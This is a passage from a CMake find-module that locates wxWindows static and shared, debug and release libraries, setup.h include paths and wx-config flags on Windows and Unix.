"wxWindows static tiff library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_JPEG NAMES wxjpegd wxjpgd PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug jpeg library" ) find_library(WXWINDOWS_STATIC_LIBRARY_JPEG NAMES wxjpeg wxjpg PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static jpeg library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_ZLIB NAMES wxzlibd PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug zlib library" ) find_library(WXWINDOWS_STATIC_LIBRARY_ZLIB NAMES wxzlib PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static zib library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_REGEX NAMES wxregexd PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug regex library" ) find_library(WXWINDOWS_STATIC_LIBRARY_REGEX NAMES wxregex PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static regex library" ) ## untested: find_library(WXWINDOWS_SHARED_LIBRARY_GL NAMES wx_gl wxmsw_gl wxmsw26_gl PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_dll" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows shared release build GL library" ) find_library(WXWINDOWS_SHARED_DEBUG_LIBRARY_GL NAMES wxd_gl wxmswd_gl wxmsw26d_gl PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_dll" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows shared debug build GL library" ) else () ## WX is built as multiple small pieces libraries instead of monolithic ## DEPECATED (jw) replaced by more general WXWINDOWS_USE_MONOLITHIC ON/OFF # option(WXWINDOWS_SEPARATE_LIBS_BUILD "Is wxWindows build with separate libs?" OFF) ## HACK: This is very dirty. ## because the libs of a particular version are explicitly listed ## and NOT searched/verified. ## TODO: Really search for each lib, then decide for ## monolithic x debug x shared x GL (=16 combinations) for at least 18 libs ## --> about 288 combinations ## thus we need a different approach so solve this correctly ... message(STATUS "Warning: You are trying to use wxWidgets without monolithic build (WXWINDOWS_SEPARATE_LIBS_BUILD). This is a HACK, libraries are not verified! (JW).") set(WXWINDOWS_STATIC_LIBS ${WXWINDOWS_STATIC_LIBS} wxbase26 wxbase26_net wxbase26_odbc wxbase26_xml wxmsw26_adv wxmsw26_core wxmsw26_dbgrid wxmsw26_gl wxmsw26_html wxmsw26_media wxmsw26_qa wxmsw26_xrc wxexpat wxjpeg wxpng wxregex wxtiff wxzlib comctl32 rpcrt4 wsock32 ) ## HACK: feed in to optimized / debug libraries if both were FOUND. set(WXWINDOWS_STATIC_DEBUG_LIBS ${WXWINDOWS_STATIC_DEBUG_LIBS} wxbase26d wxbase26d_net wxbase26d_odbc wxbase26d_xml wxmsw26d_adv wxmsw26d_core wxmsw26d_dbgrid wxmsw26d_gl wxmsw26d_html wxmsw26d_media wxmsw26d_qa wxmsw26d_xrc wxexpatd wxjpegd wxpngd wxregexd wxtiffd wxzlibd comctl32 rpcrt4 wsock32 ) endif () ## ## now we should have found all WX libs available on the system. ## let the user decide which of the available onse to use. ## ## if there is at least one shared lib available ## let user choose whether to use shared or static wxwindows libs if(WXWINDOWS_SHARED_LIBRARY OR WXWINDOWS_SHARED_DEBUG_LIBRARY) ## default value OFF because wxWindows MSVS default build is static option(WXWINDOWS_USE_SHARED_LIBS "Use shared versions (dll) of wxWindows libraries?" OFF) mark_as_advanced(WXWINDOWS_USE_SHARED_LIBS) endif() ## add system libraries wxwindows always seems to depend on set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} comctl32 rpcrt4 wsock32 ) if (NOT WXWINDOWS_USE_SHARED_LIBS) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ## these ones dont seem required, in particular ctl3d32 is not neccesary (Jan Woetzel 07/2003) # ctl3d32 debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_ZLIB} optimized ${WXWINDOWS_STATIC_LIBRARY_ZLIB} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_REGEX} optimized ${WXWINDOWS_STATIC_LIBRARY_REGEX} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_PNG} optimized ${WXWINDOWS_STATIC_LIBRARY_PNG} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_JPEG} optimized ${WXWINDOWS_STATIC_LIBRARY_JPEG} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_TIFF} optimized ${WXWINDOWS_STATIC_LIBRARY_TIFF} ) endif () ## opengl/glu: TODO/FIXME: better use FindOpenGL.cmake here ## assume release versions of glu an dopengl, here. if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} opengl32 glu32 ) endif () ## ## select between use of shared or static wxWindows lib then set libs to use ## for debug and optimized build. so the user can switch between debug and ## release build e.g. within MS Visual Studio without running cmake with a ## different build directory again. ## ## then add the build specific include dir for wx/setup.h ## if(WXWINDOWS_USE_SHARED_LIBS) ##message("DBG wxWindows use shared lib selected.") ## assume that both builds use the same setup(.h) for simplicity ## shared: both wx (debug and release) found? ## assume that both builds use the same setup(.h) for simplicity if(WXWINDOWS_SHARED_DEBUG_LIBRARY AND WXWINDOWS_SHARED_LIBRARY) ##message("DBG wx shared: debug and optimized found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/mswdlld ${WXWINDOWS_ROOT_DIR}/lib/mswdll ${WXWINDOWS_ROOT_DIR}/lib/vc_dll/mswd ${WXWINDOWS_ROOT_DIR}/lib/vc_dll/msw ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} debug ${WXWINDOWS_SHARED_DEBUG_LIBRARY} optimized ${WXWINDOWS_SHARED_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} debug ${WXWINDOWS_SHARED_DEBUG_LIBRARY_GL} optimized ${WXWINDOWS_SHARED_LIBRARY_GL} ) endif () endif() ## shared: only debug wx lib found? if(WXWINDOWS_SHARED_DEBUG_LIBRARY) if(NOT WXWINDOWS_SHARED_LIBRARY) ##message("DBG wx shared: debug (but no optimized) found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/mswdlld ${WXWINDOWS_ROOT_DIR}/lib/vc_dll/mswd ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_SHARED_DEBUG_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_SHARED_DEBUG_LIBRARY_GL} ) endif () endif() endif() ## shared: only release wx lib found? if(NOT WXWINDOWS_SHARED_DEBUG_LIBRARY) if(WXWINDOWS_SHARED_LIBRARY) ##message("DBG wx shared: optimized (but no debug) found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/mswdll ${WXWINDOWS_ROOT_DIR}/lib/vc_dll/msw ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_SHARED_DEBUG_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_SHARED_DEBUG_LIBRARY_GL} ) endif () endif() endif() ## shared: none found? if(NOT WXWINDOWS_SHARED_DEBUG_LIBRARY) if(NOT WXWINDOWS_SHARED_LIBRARY) message(STATUS "No shared wxWindows lib found, but WXWINDOWS_USE_SHARED_LIBS=${WXWINDOWS_USE_SHARED_LIBS}.") endif() endif() ######################################################################################### else() ##jw: DEPRECATED if(NOT WXWINDOWS_SEPARATE_LIBS_BUILD) ## static: both wx (debug and release) found? ## assume that both builds use the same setup(.h) for simplicity if(WXWINDOWS_STATIC_DEBUG_LIBRARY AND WXWINDOWS_STATIC_LIBRARY) ##message("DBG wx static: debug and optimized found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/mswd ${WXWINDOWS_ROOT_DIR}/lib/msw ${WXWINDOWS_ROOT_DIR}/lib/vc_lib/mswd ${WXWINDOWS_ROOT_DIR}/lib/vc_lib/msw ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY} optimized ${WXWINDOWS_STATIC_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} debug ${WXWINDOWS_STATIC_DEBUG_LIBRARY_GL} optimized ${WXWINDOWS_STATIC_LIBRARY_GL} ) endif () endif() ## static: only debug wx lib found? if(WXWINDOWS_STATIC_DEBUG_LIBRARY) if(NOT WXWINDOWS_STATIC_LIBRARY) ##message("DBG wx static: debug (but no optimized) found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/mswd ${WXWINDOWS_ROOT_DIR}/lib/vc_lib/mswd ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_STATIC_DEBUG_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_STATIC_DEBUG_LIBRARY_GL} ) endif () endif() endif() ## static: only release wx lib found? if(NOT WXWINDOWS_STATIC_DEBUG_LIBRARY) if(WXWINDOWS_STATIC_LIBRARY) ##message("DBG wx static: optimized (but no debug) found.") find_path(WXWINDOWS_INCLUDE_DIR_SETUPH wx/setup.h ${WXWINDOWS_ROOT_DIR}/lib/msw ${WXWINDOWS_ROOT_DIR}/lib/vc_lib/msw ) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_STATIC_LIBRARY} ) if (WXWINDOWS_USE_GL) set(WXWINDOWS_LIBRARIES ${WXWINDOWS_LIBRARIES} ${WXWINDOWS_STATIC_LIBRARY_GL} ) endif () endif() endif() ## static: none found? if(NOT WXWINDOWS_STATIC_DEBUG_LIBRARY AND NOT WXWINDOWS_SEPARATE_LIBS_BUILD) if(NOT WXWINDOWS_STATIC_LIBRARY) message(STATUS "No static wxWindows lib found, but WXWINDOWS_USE_SHARED_LIBS=${WXWINDOWS_USE_SHARED_LIBS}.") endif() endif() endif() ## not neccessary in wxWindows 2.4.1 and 2.6.2 ## but it may fix a previous bug, see ## http://lists.wxwindows.org/cgi-bin/ezmlm-cgi?8:mss:37574:200305:mpdioeneabobmgjenoap option(WXWINDOWS_SET_DEFINITIONS "Set additional defines for wxWindows" OFF) mark_as_advanced(WXWINDOWS_SET_DEFINITIONS) if (WXWINDOWS_SET_DEFINITIONS) set(WXWINDOWS_DEFINITIONS "-DWINVER=0x400") else () # clear: set(WXWINDOWS_DEFINITIONS "") endif () ## Find the include directories for wxwindows ## the first, build specific for wx/setup.h was determined before. ## add inc dir for general for "wx/wx.h" find_path(WXWINDOWS_INCLUDE_DIR wx/wx.h "${WXWINDOWS_ROOT_DIR}/include" ) ## append the build specific include dir for wx/setup.h: if (WXWINDOWS_INCLUDE_DIR_SETUPH) set(WXWINDOWS_INCLUDE_DIR ${WXWINDOWS_INCLUDE_DIR} ${WXWINDOWS_INCLUDE_DIR_SETUPH} ) endif () mark_as_advanced( WXWINDOWS_ROOT_DIR WXWINDOWS_INCLUDE_DIR WXWINDOWS_INCLUDE_DIR_SETUPH WXWINDOWS_STATIC_LIBRARY WXWINDOWS_STATIC_LIBRARY_GL WXWINDOWS_STATIC_DEBUG_LIBRARY WXWINDOWS_STATIC_DEBUG_LIBRARY_GL WXWINDOWS_STATIC_LIBRARY_ZLIB WXWINDOWS_STATIC_DEBUG_LIBRARY_ZLIB WXWINDOWS_STATIC_LIBRARY_REGEX WXWINDOWS_STATIC_DEBUG_LIBRARY_REGEX WXWINDOWS_STATIC_LIBRARY_PNG WXWINDOWS_STATIC_DEBUG_LIBRARY_PNG WXWINDOWS_STATIC_LIBRARY_JPEG WXWINDOWS_STATIC_DEBUG_LIBRARY_JPEG WXWINDOWS_STATIC_DEBUG_LIBRARY_TIFF WXWINDOWS_STATIC_LIBRARY_TIFF WXWINDOWS_SHARED_LIBRARY WXWINDOWS_SHARED_DEBUG_LIBRARY WXWINDOWS_SHARED_LIBRARY_GL WXWINDOWS_SHARED_DEBUG_LIBRARY_GL ) else() if (UNIX_STYLE_FIND) ## ###################################################################### ## ## UNIX/Linux specific: ## ## use backquoted wx-config to query and set flags and libs: ## 06/2003 Jan Woetzel ## option(WXWINDOWS_USE_SHARED_LIBS "Use shared versions (.so) of wxWindows libraries" ON) mark_as_advanced(WXWINDOWS_USE_SHARED_LIBS) # JW removed option and force the develper th SET it. # option(WXWINDOWS_USE_GL "use wxWindows with GL support (use additional # --gl-libs for wx-config)?" OFF) # wx-config should be in your path anyhow, usually no need to set WXWIN or # search in ../wx or ../../wx find_program(CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE wx-config HINTS ENV WXWIN $ENV{WXWIN}/bin PATHS ../wx/bin ../../wx/bin ) # check whether wx-config was found: if(CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE) # use shared/static wx lib? # remember: always link shared to use systems GL etc. libs (no static # linking, just link *against* static .a libs) if(WXWINDOWS_USE_SHARED_LIBS) set(WX_CONFIG_ARGS_LIBS "--libs") else() set(WX_CONFIG_ARGS_LIBS "--static --libs") endif() # do we need additionial wx GL stuff like GLCanvas ? if(WXWINDOWS_USE_GL) set(WX_CONFIG_ARGS_LIBS "${WX_CONFIG_ARGS_LIBS} --gl-libs" ) endif() ##message("DBG: WX_CONFIG_ARGS_LIBS=${WX_CONFIG_ARGS_LIBS}===") # set CXXFLAGS to be fed into CMAKE_CXX_FLAGS by the user: if (HAVE_ISYSTEM) # does the compiler support -isystem ? if (NOT APPLE) # -isystem seem sto be unsuppored on Mac if(CMAKE_COMPILER_IS_GNUCC AND CMAKE_COMPILER_IS_GNUCXX ) if (CMAKE_CXX_COMPILER MATCHES g\\+\\+) set(CMAKE_WXWINDOWS_CXX_FLAGS "`${CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE} --cxxflags|sed -e s/-I/-isystem/g`") else() set(CMAKE_WXWINDOWS_CXX_FLAGS "`${CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE} --cxxflags`") endif() endif() endif () endif () ##message("DBG: for compilation: ##CMAKE_WXWINDOWS_CXX_FLAGS=${CMAKE_WXWINDOWS_CXX_FLAGS}===") # keep the back-quoted string for clarity set(WXWINDOWS_LIBRARIES "`${CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE} ${WX_CONFIG_ARGS_LIBS}`") ##message("DBG2: for linking: ##WXWINDOWS_LIBRARIES=${WXWINDOWS_LIBRARIES}===") # evaluate wx-config output to separate linker flags and linkdirs for # rpath: exec_program(${CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE} ARGS ${WX_CONFIG_ARGS_LIBS} OUTPUT_VARIABLE WX_CONFIG_LIBS ) ## extract linkdirs (-L) for rpath ## use regular expression to match wildcard equivalent "-L*<endchar>" ## with <endchar> is a space or a semicolon string(REGEX MATCHALL "[-][L]([^ ;])+" WXWINDOWS_LINK_DIRECTORIES_WITH_PREFIX "${WX_CONFIG_LIBS}" ) # message("DBG WXWINDOWS_LINK_DIRECTORIES_WITH_PREFIX=${WXWINDOWS_LINK_DIRECTORIES_WITH_PREFIX}") ## remove prefix -L because we need the pure directory for LINK_DIRECTORIES ## replace -L by ; because the separator seems to be lost otherwise (bug or ## feature?) if(WXWINDOWS_LINK_DIRECTORIES_WITH_PREFIX) string(REGEX REPLACE "[-][L]" ";" WXWINDOWS_LINK_DIRECTORIES ${WXWINDOWS_LINK_DIRECTORIES_WITH_PREFIX} ) # message("DBG WXWINDOWS_LINK_DIRECTORIES=${WXWINDOWS_LINK_DIRECTORIES}") endif() ## replace space separated string by semicolon separated vector to make it ## work with LINK_DIRECTORIES separate_arguments(WXWINDOWS_LINK_DIRECTORIES) mark_as_advanced( CMAKE_WXWINDOWS_CXX_FLAGS WXWINDOWS_INCLUDE_DIR WXWINDOWS_LIBRARIES CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE ) ## we really need wx-config... else() message(STATUS "Cannot find wx-config anywhere on the system. Please put the file into your path or specify it in CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE.") mark_as_advanced(CMAKE_WXWINDOWS_WXCONFIG_EXECUTABLE) endif() else() message(STATUS "FindwxWindows.cmake: Platform unknown/unsupported by FindwxWindows.cmake. It's neither WIN32 nor UNIX") endif() endif() if(WXWINDOWS_LIBRARIES) if(WXWINDOWS_INCLUDE_DIR OR CMAKE_WXWINDOWS_CXX_FLAGS) ## found all we need. set(WXWINDOWS_FOUND 1) ## set deprecated variables for backward compatibility: set(CMAKE_WX_CAN_COMPILE ${WXWINDOWS_FOUND}) set(WXWINDOWS_LIBRARY ${WXWINDOWS_LIBRARIES}) set(WXWINDOWS_INCLUDE_PATH ${WXWINDOWS_INCLUDE_DIR}) set(WXWINDOWS_LINK_DIRECTORIES ${WXWINDOWS_LINK_DIRECTORIES}) set(CMAKE_WX_CXX_FLAGS ${CMAKE_WXWINDOWS_CXX_FLAGS}) endif() endif()
Close